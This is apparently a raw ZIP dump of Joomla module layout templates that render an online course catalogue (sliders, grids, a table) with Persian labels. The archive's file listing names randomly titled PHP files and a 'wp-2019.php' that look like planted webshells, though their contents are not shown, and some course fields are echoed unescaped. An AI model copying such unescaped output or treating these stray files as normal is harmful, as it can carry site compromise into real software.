$text_color = ['color :' .
$params->get('text_color') ];
$text_color = implode(';', $text_color);
// price color
$price_color = ['color :' .
$params->get('price_color') ];
$price_color = implode(';', $price_color);
?>
<div style="padding-left: 60px !important;"
class="lmskaran_lay-danesh">
<div style="<?php echo $slider_button_next; ?>"
class="lmskaran_danesh-next lmskaran_danesh-next-<?php echo
$module->id; ?> swiper-button-next swiper-button-next-<?php echo
$module->id; ?>"></div>
<div style="<?php echo $slider_button_prev; ?>"
class="lmskaran_danesh-prev lmskaran__danesh-prev-<?php echo
$module->id; ?> swiper-button-prev swiper-button-prev-<?php echo
$module->id; ?>"></div>
<div style="padding-bottom: 20px;"
class="swiper-container swiper-container-<?php echo $module->id;
?>">
<div class="swiper-wrapper swiper-wrapper-<?php echo
$module->id; ?>">
<?php foreach ($courses as $course): ?>
<div class="lmskaran-danesh swiper-slide swiper-slide-<?php
echo $module->id; ?>">
<!-- -->
<div class="popup">
<div class="popup-inner">
<h4><?php echo $course->fullname ?></h4>
<span class="lmskaran-danesh-description">
<?php if(isset($course->summary)): ?>
<?php echo
ModMoojlaCourseSliderHelper::escape($params,$course->summary); ?>
<?php endif; ?>
</span>
<p style="<?php echo $price_color_course_slider; ?>"
class="popup-cost-lmskaran-danesh">
<?php if($course->cost > 0):?>
<?php echo $course->cost; ?>
<?php else: ?>
<?php echo "رایگان"; ?>
<?php endif ?>
</p>
<div class="lmskaran_danesh-course-button">
<a href="<?php echo
JRoute::_('index.php?option=com_moojla&view=coursedetail&id='.$course->remoteid);
?>" class="btn--white">مشاهده دوره</a>
</div>
</div>
</div>
<!-- -->
<div class="lmskaran_danesh_card">
<div style="<?php echo $background_color; ?>"
class="lmskaran_filterCoursesSlider_front
lmskaran_filterCoursesSlider_front-<?php echo $module->id;
?>">
<a class="lmskaran_danesh_img_course"
href="<?php echo
JRoute::_('index.php?option=com_moojla&view=coursedetail&id='
. $course->remoteid); ?>" >
<div class="lmskaran_danesh_box_img">
<?php if (!$course->summary_files): ?>
<img
src="https://www.w3schools.com/w3css/img_lights.jpg">
<?php
else: ?>
<img src="<?php echo $course->summary_files;
?>">
<?php
endif; ?>
</div>
</a>
</div>
<div class="lmskaran_danesh-content">
<h4><?php echo $course->fullname ?></h4>
<div class="lmskaran_danehsh_teahcer-cost">
<?php if (count($course->teachers) == null): ?>
<span class="lmskaran_danesh-not-teacher">این
درس استاد ندارد !</span>
<?php
else: ?>
<a href="#" class="lmskaran_danesh_teacher_name
lmskaran_lay-course-slider-manage-color-text-<?php echo $module->id;
?>">
<span><?php echo $course->teachers[0]->name;
?></span>
</a>
<?php
endif; ?>
<div class="lmskaran-danesh-cost">
<p style="<?php echo $price_color_course_slider;
?>" class="">
<?php if($course->cost > 0):?>
<?php echo $course->cost; ?>
<?php else: ?>
<?php echo "رایگان"; ?>
<?php endif ?>
</p>
</div>
</div>
</div>
<!-- end back panel -->
</div>
</div>
<?php
endforeach; ?>
</div>
<!-- Add Pagination -->
<div class="swiper-pagination swiper-pagination-<?php echo
$module->id; ?>"></div>
</div>
</div>
<!-- Initialize Swiper -->
<?php
$document = JFactory::getDocument();
$document->addScript('/modules/mod_moojlacourseslider/assets/swiper-bundle/swiper-bundle.min.js');
?>
<script>
var swiper = new Swiper('.swiper-container-<?php echo
$module->id; ?>', {
// slidesPerView: 3,
spaceBetween: 30,
slidesPerGroup: 1,
loop: false,
loopFillGroupWithBlank: true,
navigation: {
nextEl: '.swiper-button-next-<?php echo $module->id;
?>',
prevEl: '.swiper-button-prev-<?php echo $module->id;
?>',
},
breakpoints: {
320: {
slidesPerView:'<?php echo $colcoursesliderverysmall; ?>',
spaceBetween: 20,
},
480: {
slidesPerView:'1',
spaceBetween: 10,
},
768: {
slidesPerView:'2',
spaceBetween: 10,
},
1024: {
slidesPerView:'3',
spaceBetween: 10,
},
1200: {
slidesPerView:'4',
spaceBetween: 10,
},
}
});
</script>
<style>
/* for slideshow */
.swiper-slide-<?php echo $module->id; ?> {
display: block !Important;
background: unset !important;
transition: 0.5s;
position: relative;
top: 0;
}
.swiper-container-<?php echo $module->id; ?> {
width: 100%;
height: 70%;
}
.swiper-wrapper-<?php echo $module->id; ?> {
transition: 0.4s !important;
/* padding: 20px 0 !important; */
}
</style>
PKa��[Ma�� �
effect_3d.phpnu�[���<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
fdsh
/-------------------------------------------------------------------------------------------------------/
@version 1.0.36
@build 26th July, 2021
@created 17th December, 2020
@package Reservation
@subpackage default.php
@author farhad shahbazi <http://farhad.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
$document = JFactory::getDocument();
$document->addStyleSheet('/modules/mod_moojlacourseslider/assets/css/effect_3d/default.css');
$document->addStyleSheet('/modules/mod_moojlacourseslider/assets/css/effect_3d/component.css');
$document->addScript('/modules/mod_moojlacourseslider/assets/js/effect_3d/modernizr.custom.js');
// dump($courses,"course");
?>
<div>
<!-- Top Navigation -->
<ul class="grid cs-style-1">
<?php foreach($courses as $course): ?>
<li>
<figure>
<?php if(!$course->summary_files):?>
<img
src="https://www.w3schools.com/w3css/img_lights.jpg"
alt="img01">
<?php else:?>
<a href="<?php echo
JRoute::_('index.php?option=com_moojla&view=coursedetail&id='.$course->remoteid);
?>">
<img src="<?php echo $course->summary_files;
?>">
</a>
<?php endif;?>
<figcaption class="box-3d-1">
<h3><?php echo $course->shortname; ?></h3>
<span><?php echo $course->cat_name; ?></span>
<a href="<?php echo
JRoute::_('index.php?option=com_moojla&view=coursedetail&id='.$course->remoteid);
?>" class="button-3d-1" target="_blank"
>مشاهده کردن</a>
</figcaption>
</figure>
</li>
<?php endforeach; ?>
</ul>
</div><!-- /container -->
<?php
$document->addScript('/modules/mod_moojlacourseslider/assets/js/effect_3d/toucheffects.js');
?>
PKa��[nw���filterCourses_slider.phpnu�[���<?php
//dump($courses, "course");
?>
<?php
$document = JFactory::getDocument();
$document->addStyleSheet('/modules/mod_moojlacourseslider/assets/swiper-bundle/swiper-bundle.min.css');
$document->addStyleSheet('/modules/mod_moojlacourseslider/assets/css/filterCourses_slider.css');
$document->addScript('/modules/mod_moojlacourseslider/assets/js/filtercourses_slider.js');
$cat_name=$params->get('category_name');
$teacher_name=$params->get('teacher_name');
$colcoursesliderverysmall=$params->get('colcoursesliderverysmall');
$colcourseslidersmall=$params->get('colcourseslidersmall');
$colcourseslidermedium=$params->get('colcourseslidermedium');
$colcoursesliderlarge=$params->get('colcoursesliderlarge');
$colcoursesliderverylarge=$params->get('colcoursesliderverylarge');
// background color
$background_color = [
'background-color :' .
$params->get('lmskaran_color')
];
$background_color = implode(';', $background_color);
// background and color button prev slide
$slider_button_prev = [
'background-color :' .
$params->get('arrow_color'),
'color :' . $params->get('arrow_icon_color')
];
$slider_button_prev = implode(';', $slider_button_prev);
// background and color button next slide
$slider_button_next = [
'background-color :' .
$params->get('arrow_color'),
'color :' . $params->get('arrow_icon_color')
];
$slider_button_next = implode(';', $slider_button_next);
// text color or content
$text_color = [
'color :' . $params->get('text_color')
];
$text_color = implode(';', $text_color);
// price color
$price_color = [
'color :' . $params->get('price_color')
];
$price_color = implode(';', $price_color);
?>
<div class="lmskaran_lay-filter-course-slider">
<div style="<?php echo $slider_button_next; ?>"
class="lmskaran_lay-filter-course-slider-next
lmskaran_lay-filter-course-slider-next-<?php echo $module->id; ?>
swiper-button-next swiper-button-next-<?php echo $module->id;
?>"></div>
<div style="<?php echo $slider_button_prev; ?>"
class="lmskaran_lay-filter-course-slider-prev
lmskaran_lay-filter-course-slider-prev-<?php echo $module->id; ?>
swiper-button-prev swiper-button-prev-<?php echo $module->id;
?>"></div>
<div class="swiper-container swiper-container-<?php echo
$module->id; ?>">
<div class="swiper-wrapper swiper-wrapper-<?php echo
$module->id; ?>">
<?php foreach($courses as $course): ?>
<div class="swiper-slide swiper-slide-<?php echo
$module->id; ?>">
<div class="lmskaran_filterCoursesSlider_card ">
<div style="<?php echo $background_color; ?>"
class="lmskaran_filterCoursesSlider_front
lmskaran_filterCoursesSlider_front-<?php echo $module->id;
?>">
<a class="lmskaran_filterCoursesSlider_img_course"
href="<?php echo
JRoute::_('index.php?option=com_moojla&view=coursedetail&id='.$course->remoteid);
?>" >
<div class="lmskaran_filterCoursesSlider_box_img">
<?php if(!$course->summary_files):?>
<img
src="https://www.w3schools.com/w3css/img_lights.jpg">
<?php else:?>
<img src="<?php echo $course->summary_files;
?>">
<?php endif;?>
</div>
</a>
<div class="lmskaran_filterCoursesSlider_content">
<div class="lmskaran_filterCoursesSlider_main">
<h3
class="lmskaran_filterCourseSlider_title_course">
<a style="<?php echo $text_color; ?>"
class="lmskaran_lay--filter-course-slider-manage-color-text-<?php
echo $module->id; ?>" style="width:100%"
href="<?php echo
JRoute::_('index.php?option=com_moojla&view=coursedetail&id='.$course->remoteid);
?>"><?php echo $course->shortname; ?></a>
</h3>
<div style="<?php echo $price_color; ?>"
class="lmskaran_filterCoursesSlider_button_cost_pack
lmskaran_lay-course-slider-manage-color-price-<?php echo $module->id;
?>">
<?php if($course->cost == 0):?>
<div
class="lmskaran_filterCoursesSlider_button_cost">
رایگان
</div>
<?php else: ?>
<div
class="lmskaran_filterCoursesSlider_button_cost">
<?php echo $course->cost; ?>
</div>
<?php endif; ?>
</div>
</div>
<div style="<?php echo $text_color; ?>"
class="lmskaran_lay--filter-course-slider-manage-color-text-<?php
echo $module->id; ?>
lmskaran_lay-filter-coures-slider-summary">
<?php if(isset($course->summary)):?>
<?php echo
ModMoojlaCourseSliderHelper::escape($params,$course->summary); ?>
<?php endif;?>
</div>
<div
class="lmskaran_filterCoursesSlider_information_course">
<div
class="lmskaran_filterCoursesSlider_teacher_cat">
<div
class="lmskaran_filterCourseSlider_cat_taech_name_pack">
<span><?php echo $teacher_name; ?></span>
<p style="<?php echo $text_color; ?>"
class="lmskaran_filterCoursesSlider_teacher_name
lmskaran_lay--filter-course-slider-manage-color-text-<?php echo
$module->id; ?>">
<?php if($course->teachers == null):?>
<span>این درس استاد ندارد !</span>
<?php else:?>
<?php echo $course->teachers[0]->name; ?>
<?php endif;?>
</p>
</div>
<div
class="lmskaran_filterCourseSlider_cat_taech_name_pack">
<span><?php echo $cat_name; ?></span>
<p style="<?php echo $text_color; ?>"
class="lmskaran_filterCoursesSlider_cat_name
lmskaran_lay--filter-course-slider-manage-color-text-<?php echo
$module->id; ?>">
<?php if($course->cat_name == null):?>
<span style="color:red;">طبقه درسی
ندارد !</span>
<?php else:?>
<?php echo $course->cat_name; ?>
<?php endif;?>
</p>
</div>
</div>
</div>
</div>
</div>
<!-- end back panel -->
</div>
</div>
<?php endforeach; ?>
</div>
<!-- Add Pagination -->
<div class="swiper-pagination swiper-pagination-<?php echo
$module->id; ?>"></div>
</div>
</div>
<!-- Initialize Swiper -->
<?php
$document = JFactory::getDocument();
$document->addScript('/modules/mod_moojlacourseslider/assets/swiper-bundle/swiper-bundle.min.js');
?>
<script>
var swiper = new Swiper('.swiper-container-<?php echo
$module->id; ?>', {
// slidesPerView: 3,
spaceBetween: 30,
slidesPerGroup: 1,
loop: false,
loopFillGroupWithBlank: true,
navigation: {
nextEl: '.swiper-button-next-<?php echo $module->id;
?>',
prevEl: '.swiper-button-prev-<?php echo $module->id;
?>',
},
breakpoints: {
320: {
slidesPerView:'<?php echo $colcoursesliderverysmall; ?>',
spaceBetween: 20,
},
480: {
slidesPerView:'<?php echo $colcourseslidersmall; ?>',
spaceBetween: 20,
},
768: {
slidesPerView:'<?php echo $colcourseslidermedium;
?>',
spaceBetween: 10,
},
1024: {
slidesPerView:'<?php echo $colcoursesliderlarge;
?>',
spaceBetween: 10,
},
1200: {
slidesPerView:'<?php echo $colcoursesliderverylarge;
?>',
spaceBetween: 10,
},
}
});
</script>
<style>
/* for slideshow */
.swiper-slide-<?php echo $module->id; ?> {
display: block !Important;
background: unset !important;
transition: 0.5s;
position: relative;
top: 0;
}
.swiper-container-<?php echo $module->id; ?> {
width: 100%;
height: 70%;
}
.swiper-wrapper-<?php echo $module->id; ?> {
transition: 0.4s !important;
padding: 20px 0 !important;
}
</style>PKa��[�:11gridview_filter.phpnu�[���<?php
// dump ($courses,"course");
$document = JFactory::getDocument();
$document->addStyleSheet('/modules/mod_moojlacourseslider/assets/uikit/css/uikit.min.css');
$document->addStyleSheet('/modules/mod_moojlacourseslider/assets/css/gridview_filter.css');
$displayfilter=$params->get('displayfilter');
$display_grid_view=$params->get('display_grid_view');
$display_title_filter=$params->get('display_title_filter');
$category_name=$params->get('category_name');
$teacher_name=$params->get('teacher_name');
$price_color = [
'color :' . $params->get('price_color')
];
$price_color = implode(';', $price_color);
$text_color = [
'color :' . $params->get('text_color')
];
$text_color = implode(';', $text_color);
?>
<div class="lmskaran_grid_view_filter" uk-filter="target:
.js-filter">
<div class="lmskaran_toolbar_card">
<?php
$categories = [];
$categories_id = [];
foreach($courses as $course){
$cat = str_replace(' ', '_',
$course->cat_name);
$categories[$cat] = $course->cat_name;
$categories_id[$course->cat_id] = $cat;
}
$categories = array_unique($categories);
$exeption_ids = $display_title_filter;
$exeption_ids = explode(',', $exeption_ids);
foreach($exeption_ids as $ex) {
unset($categories[@$categories_id[$ex]]);
}
?>
<?php if($displayfilter == 1):?>
<ul class="uk-subnav uk-subnav-pill">
<li uk-filter-control="[data-tags*='all']"
class="uk-active"><a class="reHeight"
href="#">همه</a></li>
<?php foreach($categories as $catindex => $category):?>
<?php if($category == null):?>
<?php else: ?>
<li uk-filter-control="[data-tags*='<?php echo
$catindex; ?>']">
<a href="#">
<?php echo $category; ?>
</a>
</li>
<?php endif; ?>
<?php endforeach; ?>
</ul>
<?php endif; ?>
<?php if($display_grid_view == 3) :?>
<div id="btnContainer">
<button id="listView"
class="lmskaran_button_grid_view active_button_gridView"
><i style="margin-left:5px" class="fa
fa-bars"></i> نمای لیست</button>
<button id="gridView"
class="lmskaran_button_grid_view" ><i
style="margin-left:5px" class="fa
fa-th-large"></i>نمای شبکه</button>
</div>
<?php endif; ?>
</div>
<div id="soton">
<div class="lmskaran_course_pack
owl-carousel-joomdlecourses-m<?php echo $module->id; ?> owl-theme
joomdlecourses<?php echo $moduleclass_sfx; ?> ">
<ul id="lmskaran_pack_card" class="js-filter
uk-child-width-1-2 uk-child-width-1-3@m uk-text-center" uk-grid>
<?php foreach($courses as $course): ?>
<li class="lmskaran_item_card" data-tags="all
<?php echo str_replace(' ', '_',
$course->cat_name); ?>">
<div class="lmskaran_uk_card uk-card uk-card-default
uk-card-body">
<div class="lmskaran_front">
<a class="lmskaran_image_course"
href="<?php echo
JRoute::_('index.php?option=com_moojla&view=coursedetail&id='.$course->remoteid);
?>" >
<?php if(!$course->summary_files):?>
<img
src="https://www.w3schools.com/w3css/img_lights.jpg">
<?php else:?>
<img src="<?php echo $course->summary_files;
?>">
<?php endif;?>
</a>
<div style="<?php echo $text_color; ?>"
class="lmskaran_content">
<div class="lmskaran_pack_title">
<div
class="lmskaran_lay-gridViewFilter_head-content-box">
<h3 class="lmskaran_course_title">
<a style="width:100%;<?php echo $text_color; ?>"
href="<?php echo
JRoute::_('index.php?option=com_moojla&view=coursedetail&id='.$course->remoteid);
?>" ><?php echo $course->fullname; ?></a>
</h3>
<div class="button_cost_pack">
<?php if($course->cost == 0):?>
<div class="button_cost">
<a style="<?php echo $price_color;?>"
class="button_cost_link" href="<?php echo
JRoute::_('index.php?option=com_moojla&view=coursedetail&id='.$course->remoteid);
?>">رایگان</a>
</div>
<?php else: ?>
<div class="button_cost" style="width:
80px;text-align:center;">
<a style="<?php echo $price_color;?>"
class="button_cost_link" href="<?php echo
JRoute::_('index.php?option=com_moojla&view=coursedetail&id='.$course->remoteid);
?>">
<?php echo $course->cost; ?></a>
</div>
<?php endif; ?>
</div>
</div>
<?php if(!$course->summary):?>
<div
class="lmskaran_lay-gridViewFilter_summary-course"><p
style="color: #bcbcbd;">این درس بدون توضیحات
میباشد !</p></div>
<?php else:?>
<div
class="lmskaran_lay-gridViewFilter_summary-course"><?php
echo ModMoojlaCourseSliderHelper::escape($params,$course->summary);
?></div>
<?php endif; ?>
</div>
<div
class="lmskaran_information_course">
<div
class="lmskaran_teacher_category">
<div
class="lmskaran_cat_taech_name_pack">
<span><?php echo $teacher_name;
?></span>
<p class="lmskaran_teacher_name">
<?php if($course->teachers == null):?>
<span style="color:red;">این درس استاد
ندارد !</span>
<?php else:?>
<?php
$fullname = $course->teachers[0]->name;
echo $fullname; ?>
<?php endif;?>
</p>
</div>
<div
class="lmskaran_cat_taech_name_pack">
<span><?php echo $category_name;
?></span>
<p class="lmskaran_category_name">
<?php if($course->cat_name == null):?>
<span style="color:red;">طبقه درسی
ندارد !</span>
<?php else:?>
<?php echo $course->cat_name; ?>
<?php endif;?>
</p>
</div>
</div>
</div>
</div>
</div>
</li>
<?php endforeach; ?>
</ul>
</div>
</div>
</div>
<script
src="/modules/mod_moojlacourseslider/assets/js/gridview_filter.js"></script>
<script
src="/modules/mod_moojlacourseslider/assets/uikit/js/uikit.min.js"></script>
PKa��[�� grid_gallery.phpnu�[��� <?php
$document = JFactory::getDocument();
$document->addStyleSheet('/modules/mod_moojlacourseslider/assets/css/grid_gallery.css');
$document->addScript('/modules/mod_moojlacourseslider/assets/js/grid_galleryr.js');
$open_content_gallery=$params->get('open_content_gallery');
JFactory::getDocument()->addScriptOptions('select_background_color_gallery',$params->get('select_background_color_gallery'));
JFactory::getDocument()->addScriptOptions('background_color_gallery',$params->get('background_color_gallery'));
?>
<div class="lmskaran_grid_gallery">
<?php foreach($courses as $course): ?>
<div class="lmskaran_grid_gallery_image_text<?php
if($open_content_gallery == 1):?>
lmskaran_grid_gallery_image_text_bottom<?php endif; ?><?php
if($open_content_gallery == 2):?>
lmskaran_grid_gallery_image_text_right<?php endif; ?><?php
if($open_content_gallery == 3):?>
lmskaran_grid_gallery_image_text_left<?php endif; ?>">
<a href="<?php echo
JRoute::_('index.php?option=com_moojla&view=coursedetail&id='.$course->remoteid);
?>">
<?php if(!$course->summary_files):?>
<img
src="https://www.w3schools.com/w3css/img_lights.jpg">
<?php else:?>
<img src="<?php echo $course->summary_files;
?>">
<?php endif;?>
<div class="lmskaran_grid_gallery_information_course">
<h3><?php echo $course->shortname; ?></h3>
<div class="lmskaran_grid_gallery_cat_name">
<?php echo $course->cat_name; ?>
</div>
</div>
</a>
</div>
<?php endforeach; ?>
</div>
PKa��[������
static.phpnu�[���<?php //dump($courses,"course");
$document = JFactory::getDocument();
$document->addStyleSheet('/modules/mod_moojlacourseslider/assets/css/static.css');
$document->addScript('/modules/mod_moojlacourseslider/assets/js/static.js');
$course_details_button =
$params->get('course_details_button');
JFactory::getDocument()->addScriptOptions('width_static',
$params->get('width_static', 360));
$price_color = [
'color :' . $params->get('price_color')
];
$price_color = implode(';', $price_color);
$text_color = [
'color :' . $params->get('text_color')
];
$text_color = implode(';', $text_color);
?>
<div class="lmskaran_static_flexible">
<?php foreach ($courses as $course) : ?>
<div class="lmskaran_static_card">
<div class="lmskaran_static_card_blog">
<!-- card image -->
<div class="lmskaran_static_card_image">
<div class="lmskaran_static_rotating_card">
<div class="lmskaran_static_cord_rotate">
<?php if (!$course->summary_files) : ?>
<a href="<?php echo
JRoute::_('index.php?option=com_moojla&view=coursedetail&id='
. $course->remoteid); ?>"><img
src="https://www.w3schools.com/w3css/img_lights.jpg"
alt=""
class="lmskaran_static_card_front_background"></img></a>
<?php else : ?>
<a href="<?php echo
JRoute::_('index.php?option=com_moojla&view=coursedetail&id='
. $course->remoteid); ?>"><img src="<?php echo
$course->summary_files; ?>" alt=""
class="lmskaran_static_card_front_background"></img></a>
<?php endif; ?>
</div>
</div>
</div>
<div class="lmskaran_lay-static-favorite">
<?php echo JLayoutHelper::render('favorite',
['course'=>$course, 'favorite'=>$favorite,
'params'=>$params],JPATH_SITE.'/components/com_moojla/layouts');
?>
</div>
<!-- card content -->
<div class="lmskaran_static_card_content">
<div class="lmskaran_static_card_category">
نام دوره :  
<a href="<?php echo
JRoute::_('index.php?option=com_moojla&view=coursedetail&id='
. $course->remoteid); ?>">
<h2>
<span style="<?php echo
$text_color;?>"><?php echo $course->shortname;
?></span>
<span></span>
</h2>
</a>
</div>
<div class="lmskaran_static_card_button_group">
<a id=<?php echo $module->id . '-' .
$course->id; ?> href="<?php echo
JRoute::_('index.php?option=com_moojla&view=coursedetail&id='
. $course->remoteid); ?>"
class="lmskaran_static_button_course_violet">
<i class="fa fa-info-circle"></i>
<span><?php echo $course_details_button;
?></span>
</a>
<?php JLoader::register('MoojlaHelper',
JPATH_ADMINISTRATOR .
'/components/com_moojla/helpers/moojla.php');
echo MoojlaHelper::newActionButton($course, $course->is_enrolled,
$module); ?>
</div>
<?php if($course_selector_type == 2):?>
<div class="lmskaran_progress_name">درصد
پیشرفت</div>
<div class="lmskaran_progress_in_card">
<div class="progress lmskaran_progress">
<div class="progress-bar lmskaran_navar_progress_bar"
role="progressbar" aria-valuenow="70"
aria-valuemin="0" aria-valuemax="100"
style="width:<?php echo round($course->percentage) != -1?
round($course->percentage) : 100; ?>%;">
<?php //dump($course->percentage); ?>
</div>
</div>
<div class="lmskaran_amount_progress_bar"><?php
echo round($course->percentage) != -1?
round($course->percentage).'%' : '<div
class="lmskaran_progress_no_criteria">بدون
معیار</div>'; ?></div>
</div>
<?php endif;?>
<div class="lmskaran_static_card_description">
<h5 style="<?php echo $price_color; ?>"
class="lmskaran_static_cost_corse">
<?php if ($course->cost > 0) : ?>
<span class="lmskaran_static_txt_cost">قیمت :
</span>
<?php echo $course->cost; ?>
<span class="lmskaran_static_toman"></span>
<?php else : ?>
<?php echo 'رایگان'; ?>
<?php endif; ?>
</h5>
</div>
<div class="lmskaran_static_card_footer">
<div class="lmskaran_static_author">
<i class="fas fa-chalkboard-teacher"></i>
<?php if (count($course->teachers) == 0) : ?>
<span style="color:red;">بدون
استاد</span>
<?php else : ?>
<a href="<?php echo
JRoute::_('index.php?option=com_moojla&view=teacherdetail&id='
. $course->teachers[0]->mid); ?>"><?php echo
$course->teachers[0]->name; ?></a>
<?php endif; ?>
</div>
<div class="lmskaran_static_stats">
<i class="fas fa-list-alt"></i>
<?php echo $course->cat_name; ?>
</div>
</div>
</div>
</div>
</div>
<?php endforeach; ?>
</div>PKa��[u��dd table.phpnu�[���<?php
$document = JFactory::getDocument();
$document->addStyleSheet('/modules/mod_moojlacourseslider/assets/css/table/table.css');
$document->addStyleSheet('/modules/mod_moojlacourseslider/assets/css/table/jquery.dataTables.min.css');
$document->addScript('/modules/mod_moojlacourseslider/assets/js/table/jquery.dataTables.min.js');
$document->addScript('/modules/mod_moojlacourseslider/assets/js/table/dataTables.buttons.min.js');
$document->addScript('/modules/mod_moojlacourseslider/assets/js/table/jszip.min.js');
$document->addScript('/modules/mod_moojlacourseslider/assets/js/table/buttons.html5.min.js');
?>
<table id="example" class="display"
cellspacing="0" width="100%">
<thead>
<tr>
<th>id</th>
<th>دوره ها</th>
<th>تاریخ ثبت نام</th>
<th>درصد پیشرفت</th>
<th>هزینه</th>
</tr>
</thead>
<tbody>
<?php $numberId=1; ?>
<?php foreach($courses as $course): ?>
<tr>
<td><?php echo $numberId++; ?></td>
<td>
<a class="lmskaran_lay-table-go_course"
href="<?php echo
JRoute::_('index.php?option=com_moojla&view=coursedetail&id='.$course->remoteid);
?>"> <?php echo $course->shortname; ?>
</a>
</td>
<td>1400/01/25</td>
<td>
<div class="lmskaran_progress_in_card">
<div class="progress lmskaran_progress">
<div class="progress-bar lmskaran_navar_progress_bar"
role="progressbar" aria-valuenow="70"
aria-valuemin="0" aria-valuemax="100"
style="width:<?php echo round($course->percentage) != -1?
round($course->percentage) : 100; ?>%;">
<?php //dump($course->percentage); ?>
</div>
</div>
<div class="lmskaran_amount_progress_bar"><?php
echo round($course->percentage) != -1?
round($course->percentage).'%' : '<div
class="lmskaran_progress_no_criteria">بدون
معیار</div>'; ?></div>
</div>
</td>
<td
<?php if($course->cost == 0):?>
<div>
<a href="<?php echo
JRoute::_('index.php?option=com_moojla&view=coursedetail&id='.$course->remoteid);
?>">رایگان</a>
</div>
<?php else: ?>
<div>
<a href="<?php echo
JRoute::_('index.php?option=com_moojla&view=coursedetail&id='.$course->remoteid);
?>">
<?php echo $course->cost; ?></a></div>
<?php endif; ?>
</td>
</tr>
<?php endforeach; ?>
</tbody>
</table>
<style>
.tableparent > table{
min-width: 700px !important;
}
</style>
<script>
jQuery(document).ready(function() {
var $ = jQuery;
var tables = $('#example').DataTable({
dom: 'Blfrtip',
"scrollX": 500,
"language": {
"lengthMenu": "<p
class='lmskaran-search-title'>تعداد نمایش در هر
صفحه</p>_MENU_",
"zeroRecords": "متاسفانه
چیزی پیدا نشد !",
"info": "نمایش _PAGE_ از
_PAGES_",
"infoEmpty": "هیچ سوابقی در
دسترس نیست",
"infoFiltered": "(فیلتر شده از
_MAX_ کل سوابق)",
"search": "<p
class='lmskaran-search-title'>جستجو</p>",
"paginate": {
"next": "بعدی",
"previous": 'قبلی'
}
},
buttons: [
// {
// text: 'خروجی گرفتن فایل
اکسل',
// extend: 'excelHtml5',
// exportOptions: {
// modifier: {
// selected: true
// },
// columns: [0, 1, 2, 3],
// format: {
// header: function(data, columnIdx) {
// return data;
// },
// body: function(data, column, row) {
// // Strip $ from salary column to
make it numeric
// debugger;
// return column === 4 ? "" :
data;
// }
// }
// },
// footer: false,
// customize: function(xlsx) {
// var sheet =
xlsx.xl.worksheets['sheet1.xml'];
// //$('c[r=A1] t', sheet).text(
'Custom text' );
// //$('row c[r^="C"]',
sheet).attr('s', '2');
// }
// }
]
});
// tables.page('next').draw(false);
// tables.search('ایمان').draw();
// table.draw();
});
</script>PK�V�[���jdefault.phpnu�[���PK�V�[�#o,,
Iindex.htmlnu�[���PK�V�[���6���qpyufacb.phpnu�[���PK�V�[��q��=�=�wp-2019.phpnu�[���PK�V�[���6���Uerfinejd.phpnu�[���PK�V�[��\ Y.htaccessnu�[���PK`��[a�m߳�a[contact/default_profile.phpnu�[���PK`��[���g��_ccontact/default_address.phpnu�[���PK`��[�_{{&j{contact/default_user_custom_fields.phpnu�[���PK`��[���**;�contact/default.xmlnu�[���PK`��[��
����contact/default_form.phpnu�[���PK`��[Xj/�;;�contact/default_links.phpnu�[���PK`��[�&��jjd�contact/default_articles.phpnu�[���PK`��[�!%���contact/default.phpnu�[���PK`��[=�e[BGBG��categories/default.xmlnu�[���PK`��[N_�l__�$categories/default_items.phpnu�[���PK`��[+���vv01categories/default.phpnu�[���PK`��[u5�
�4form/edit.xmlnu�[���PK`��[|O�jj
G6form/edit.phpnu�[���PK`��[��LxHxH�Dcategory/default.xmlnu�[���PK`��[6Fe}��category/default_children.phpnu�[���PK`��[/N�wR-R-�category/default_items.phpnu�[���PK`��[0M�����category/default.phpnu�[���PK`��[)b�0�0��featured/default.xmlnu�[���PK`��[p���$�$��featured/default_items.phpnu�[���PK`��[���&
featured/default.phpnu�[���PKa��[z��c!c!t
card_Sliding.phpnu�[���PKa��[���� �
Bcourseslider.phpnu�[���PKa��[����118ccourseSliderUdemy.phpnu�[���PKa��[��dž���course_flex.phpnu�[���PKa��[��W����danshjooyar.phpnu�[���PKa��[Ma�� �
��effect_3d.phpnu�[���PKa��[nw�����filterCourses_slider.phpnu�[���PKa��[�:11��gridview_filter.phpnu�[���PKa��[�� ^�grid_gallery.phpnu�[���PKa��[������
�static.phpnu�[���PKa��[u��dd �table.phpnu�[���PK%%Y)